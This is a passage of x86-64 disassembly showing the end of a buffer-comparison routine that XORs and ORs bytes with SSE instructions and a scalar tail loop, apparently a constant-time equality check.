movd xmm2, dword [rcx + rdx - 4]
xorps xmm0, xmm0
movd xmm1, dword [rdx - 4]
lea rdx, [rdx + 8]
punpcklbw xmm2, xmm0
add r11, 8
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
movd xmm1, dword [rdx - 8]
punpcklbw xmm1, xmm0
por xmm4, xmm2
movd xmm2, dword [rcx + rdx - 8]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
por xmm3, xmm2
cmp r11, rax
jb 0x14006f200
por xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd eax, xmm3
or r8d, eax
cmp r11, r9
jae 0x14006f2a8
add r10, r11
sub r9, r11
nop word [rax + rax]
movzx edx, byte [rcx + r10]
movzx eax, byte [r10]
lea r10, [r10 + 1]
xor edx, eax
or r8d, edx
sub r9, 1
jne 0x14006f290
test r8d, r8d
sete al
ret